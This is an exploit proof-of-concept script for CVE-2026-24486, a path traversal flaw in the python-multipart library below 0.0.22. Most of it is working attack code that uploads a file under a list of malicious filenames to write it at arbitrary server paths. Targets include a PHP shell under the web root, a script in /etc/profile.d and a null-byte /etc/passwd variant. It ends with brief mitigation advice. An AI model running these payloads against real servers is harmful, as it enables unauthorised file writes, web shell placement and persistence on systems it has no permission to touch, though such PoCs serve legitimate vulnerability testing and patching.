📄 Python-Multipart 0.0.22 Path Traversal

# Exploit Title: Python-Multipart 0.0.22 - Path Traversal 
    # Date: 2026-02-23
    # Exploit Author: cardosource
    # Vendor Homepage: https://github.com/Kludex/python-multipart
    # Software Link: https://pypi.org/project/python-multipart/
    # Version: < 0.0.22 (REQUIRED)
    # Tested on: Ubuntu / Python 3.13.5 / Docker (as root for demo)
    # CVE : CVE-2026-24486
    
    """
    PoC for CVE-2026-24486: Path Traversal in python-multipart when UPLOAD_KEEP_FILENAME=True + UPLOAD_DIR is configured.
    Allows arbitrary file write via malicious filename.
    
    """
    
    import requests
    import time
    import os
    import sys
    
    
    TARGET_URL   = "http://localhost:8000/upload"   
    SOURCE_FILE  = "/etc/hosts" # Small file to upload (content written to target)
    
    if not os.path.exists(SOURCE_FILE):
        print(f"[!] Source file not found: {SOURCE_FILE}")
        sys.exit(1)
    
    # Malicious filenames (payloads)
    payloads = [
        "/tmp/poc-abs.txt",
        "/etc/poc-etc.txt",
        "/root/poc-root.txt",
        "../../var/www/html/shell.php",
        "../../etc/profile.d/mal.sh",
        "../../../tmp/poc-deep.txt",
        "../../etc/passwd%00.txt",
        "//etc//poc-double-slash.txt",
    ]
    
    print("[*] CVE-2026-24486 PoC")
    print(f"[*] Target: {TARGET_URL}")
    print(f"[*] Using source file: {SOURCE_FILE}")
    print(f"[*] Testing {len(payloads)} payloads...\n")
    
    for i, filename in enumerate(payloads, 1):
        print(f"[{i}/{len(payloads)}] Testing: {filename}")
        
        try:
            files = {
                'file': (filename, open(SOURCE_FILE, 'rb'), 'text/plain')
            }
            
            r = requests.post(TARGET_URL, files=files, timeout=8)
            
            print(f"    Status: {r.status_code}")
            if r.text.strip():
                print(f"    Response: {r.text.strip()}")
            else:
                print("    Response: (empty)")
        
        except Exception as e:
            print(f"    Error: {e}")
        
        print("-" * 50)
        time.sleep(1.0)
    
    print("\n[*] Done.")
    print("Verify files in container:")
    print("  docker exec -it vuln-poc find / -name '*poc*' -o -name '*shell*' 2>/dev/null")
    print("\nMitigation:")
    print("  - Upgrade: pip install python-multipart>=0.0.22")
    print("  - Avoid UPLOAD_KEEP_FILENAME=True")
    print("  - Sanitize: filename = os.path.basename(file.filename)")